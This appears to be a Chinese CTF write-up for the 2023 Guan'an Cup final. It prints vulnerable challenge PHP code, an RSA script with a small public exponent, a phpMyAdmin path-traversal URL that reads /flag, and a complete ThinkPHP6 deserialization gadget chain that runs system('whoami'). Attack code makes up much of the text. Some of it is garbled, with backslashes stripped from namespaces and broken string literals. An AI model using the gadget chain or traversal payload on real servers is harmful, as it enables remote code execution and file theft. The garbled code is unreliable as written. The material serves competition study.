web1
<?php
error_reporting(0);
define('MYSQL_SERVER', 'localhost') ;
define('MYSQL_USER', 'ctf') ;
define('MYSQL_PASSWORD', 'ctf') ;
define('MYSQL_DB', 'blog') ;
function db_connect(){
$link = mysqli_connect(MYSQL_SERVER, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DB) or die ("Error: ".mysqli_error($link));
if(!mysqli_set_charset($link, "utf8")) {
printf("Error: ".mysqli_error($link));
}
return $link;
}
//test
if(isset($_GET['host'])){
$link = mysqli_query(mysqli_connect($_GET['host'],$_GET['username'],$_GET['password'],$_GET['database'],$_GET['port']), "set names utf8");
if ($link){
echo "<script>alert('success')</script>";
}else{
echo "<script>alert('error')</script>";
}
}
?>
UPDATE ctf SET pass='' where user_id=1; 然后再在这里改掉，不然网站可能会因为连不上数据库然后崩掉而被 check。payload：http://10.103.x.1/admin/pma/index.php?target=db_sql.php%253f%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag
web2
<?php
// require __DIR__ . '/../app/start.php';
namespace appcontroller;
require_once('/var/www/app/controller/DataController.php');
use appBaseController;
$servername = "127.0.0.1";
$username = "root";
$password = "root";
$dbname = "contact_user";
$conn = new MySQLi($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("Database connection failed: " . $conn->connect_error);
}
$serializedData = $_POST["serializedData"];
//$command = "python3 /var/www/app/encrypted.py '$serializedData'";
$command = "ip";
$encryptedData_modulus = shell_exec($command);
$encryptedData_modulus = str_replace("'",""",$encryptedData_modulus);
$encryptedData_modulus = str_replace("", "","":"",$encryptedData_modulus);
$encryptedData_modulus = json_decode($encryptedData_modulus, true);
$index = 0;
foreach ($encryptedData_modulus as $inner_array) {
foreach ($inner_array as $encryptedData => $modulus) {
// echo "encryptedData: $encryptedData, modulus: $modulusn";
$infotablename = "user_info" . ($index + 1);
$sql = "INSERT INTO $infotablename (cryptedData, modulus) VALUES ('$encryptedData', '$modulus')";
if ($conn->query($sql) === TRUE) {
echo "Data has been successfully inserted into the ". $infotablename . "n";
} else {
echo "Data insertion failed: " . $conn->error;
}
$index = $index + 1;
}
}
$conn->close();
?>
$command = "python3 /var/www/app/encrypted.py '$serializedData'";import sys
import libnum
import random
# if len(sys.argv) < 2:
# print("error")
# exit(1)
with open("/flag", "r") as file:
data = file.read()
# data = sys.argv[1]
EeEeEeEeEe = 23
cryptedData_modulus=[]
# modulus_list = []
# cryptedData_list = []
def ToEncrypt_Encrypting_Encrypted(e,data):
PpPpPpPp=libnum.generate_prime(1024)
QqQqQqQq=libnum.generate_prime(1024)
Dadadata=libnum.s2n(data)
modulus=PpPpPpPp * QqQqQqQq
# modulus_list.append(modulus)
cryptedData=pow(Dadadata,EeEeEeEeEe,modulus)
# cryptedData_list.append(cryptedData)
correspondingData = {str(cryptedData):str(modulus)}
cryptedData_modulus.append(correspondingData)
def main():
for i in range(6):
ToEncrypt_Encrypting_Encrypted(EeEeEeEeEe,data)
print(cryptedData_modulus)
# print(f"cryptedData_list = {cryptedData_list}")
# print(f"modulus_list = {modulus_list}")
with open("/var/www/encrypted_flag", "w") as file:
file.write(str(cryptedData_modulus))
main()
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <[email protected]>
// +----------------------------------------------------------------------
use thinkfacadeRoute;
Route::get('think', function () {
return 'hello,ThinkPHP6!';
});
Route::get('hello/:name', 'index/hello');
Route::get('/', 'index/index');
Route::post('/postdata', 'index/postdata');
<?php
namespace appcontroller;
require_once('/var/www/app/controller/DataController.php');
use appBaseController;
class Index extends BaseController
{
public function index()
{
return view('index');
}
public function postdata()
{
$data = request() -> post('data');
if ($data) {
$dataController = new DataController();
$unseiazlizeData = $dataController->unserializeData($data);
echo $unseiazlizeData;
return "6";
}
else {
return "post data failed";
}
}
}
<?php
namespace think {
abstract class Model
{
private $lazySave = true;
private $data = ['a' => 'b'];
private $exists = true;
protected $withEvent = false;
protected $readonly = ['a'];
protected $relationWrite;
private $relation;
private $origin = [];
public function __construct($value)
{
$this->relation = ['r' => $this];
$this->origin = ["n" => $value];
$this->relationWrite = ['r' =>
["n" => $value]
];
}
}
class App
{
protected $request;
}
class Request
{
protected $mergeParam = true;
protected $param = ["whoami"];
protected $filter = "system";
}
}
namespace thinkmodel {
use thinkModel;
class Pivot extends Model
{
}
}
namespace thinkroute {
use thinkApp;
class Url
{
protected $url = "";
protected $domain = "domain";
protected $route;
protected $app;
public function __construct($route)
{
$this->route = $route;
$this->app = new App();
}
}
}
namespace thinklog {
class Channel
{
protected $lazy = false;
protected $logger;
protected $log = [];
public function __construct($logger)
{
$this->logger = $logger;
}
}
}
namespace thinksession {
class Store
{
protected $data;
protected $serialize = ["call_user_func"];
protected $id = "";
public function __construct($data)
{
$this->data = [$data, "param"];
}
}
}
namespace {
$request = new thinkRequest(); // param
$store = new thinksessionStore($request); // save
$channel = new thinklogChannel($store); // __call
$url = new thinkrouteUrl($channel); // __toString
$model = new thinkmodelPivot($url); // __destruct
echo urlencode(serialize($model));
}
原文始发于微信公众号（Van1sh）：2023 观安杯决赛
